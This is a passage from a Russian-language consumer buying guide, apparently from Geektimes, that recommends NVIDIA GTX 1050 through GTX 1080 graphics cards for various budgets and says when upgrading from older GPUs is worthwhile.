нового поколения видеокарт именно в том, что даже неоптимизированные под них игрушки идут значительно бодрее, чем на ветеранах GPU-чартов прошлых лет, а что будет через год, когда движки игр научатся использовать всю силу новых технологий — и представить сложно. GTX 1050 и 1050Ti Увы, рекомендовать покупку самого недорогого Pascal’я я не могу. RX 460 обычно продаётся на тысячу-другую дешевле, и если у вас бюджет ограничен настолько, что вы берёте видеокарту «на последние» то Radeon объективно является более интересным вложением денег. С другой стороны, 1050 немного быстрее, и если цены в вашем городе на эти две видеокарты почти не отличаются — берите её. 1050Ti, в свою очередь, отличный вариант для тех, кому сюжет и геймплей важнее наворотов и реалистичных волос в носу. У неё нет бутылочного горлышка в виде 2 ГБ видеопамяти, она не «стухнет» через год. Можете доложить денег на неё — сделайте это. Ведьмак на высоких настройках, GTA V, DOOM, BF 1 — без проблем. Да, придётся отказаться от ряда улучшений, типа сверхдлинных теней, сложной тесселяции или «дорогого» просчёта самозатенения моделей ограниченной трассировкой лучей, но в пылу битвы вы забудете про эти красивости после 10 минут игры, а стабильные 50-60 кадров в секунду дадут куда больший эффект погружения, чем нервные скачки от 25 до 40, но с настройками на «максимум». Если у вас стоит какая-нибудь Radeon 7850, GTX 760 или младше, видеокарты с 2 ГБ видеопамяти и меньше — можете смело менять. GTX 1060 Младшая 1060 порадует тех, кому кадровая частота от 100 FPS важнее, чем графические навороты. Вместе с тем, она позволит комфортно играть во все вышедшие игрушки в FullHD разрешении с выоскими или максимальными настройками и стабильными 60 кадрами в секунду, да и по цене сильно отличается от всего, что идёт после неё. Старшая 1060 с 6 гигабайтами памяти — бескомпромиссное решение для FullHD с запасом производительности на год-другой, знакомства с VR и вполне приемлемый кандидат для игры в высоких разрешениях на средних настройках. Менять вашу GTX 970 на GTX 1060 смысла нет, потерпит ещё годик. А вот надоевшие 960, 770, 780, R9 280X и более древние агрегаты можно смело обновлять до 1060. Топ-сегмент: GTX 1070 и 1080 1070 вряд ли станет такой же популярной, как GTX 970 (всё же, у большинства пользователей цикл обновления железа — раз в два года), но по соотношению цены и качества, безусловно, достойное продолжение 70-й линейки. Она просто перемалывает игры на мэйнстримовом разерешнии 1080р, легко справляется с 2560х1440, выдерживает мытарства неоптимизированных 21 к 9, и вполне способна отображать 4k, пусть и не на максимальных настройках. Да, SLI бывает и таким. Говорим «давай, до свиданья» всяким 780 Ti, R9 390X и прочим прошлогодним 980-м, особенно если хотим играть в высоком разрешении. И, да, это лучший вариант для любителей собрать адскую коробчонку в формате Mini-ITX и пугать гостей 4k-играми на 60-70 дюймовом телевизоре, которые запускаются на компьютере размером с кофеварку. GTX 1080 легко заменяет любую связку из предыдущих видеокарт, кроме пары 980Ti, FuryX или каких-нибудь зубодробительных Titan’ов. Правда, энергопотребление таких монструозных конфигов не идёт ни в какое сравнение с одной 1080, да и к качеству работы спарок есть претензии. На этом у меня всё, мой подарок вам на новый год — этот гайд, а уж чем порадовать себя — выбирайте сами :) С наступающим!
https://geektimes.ru/post/284208/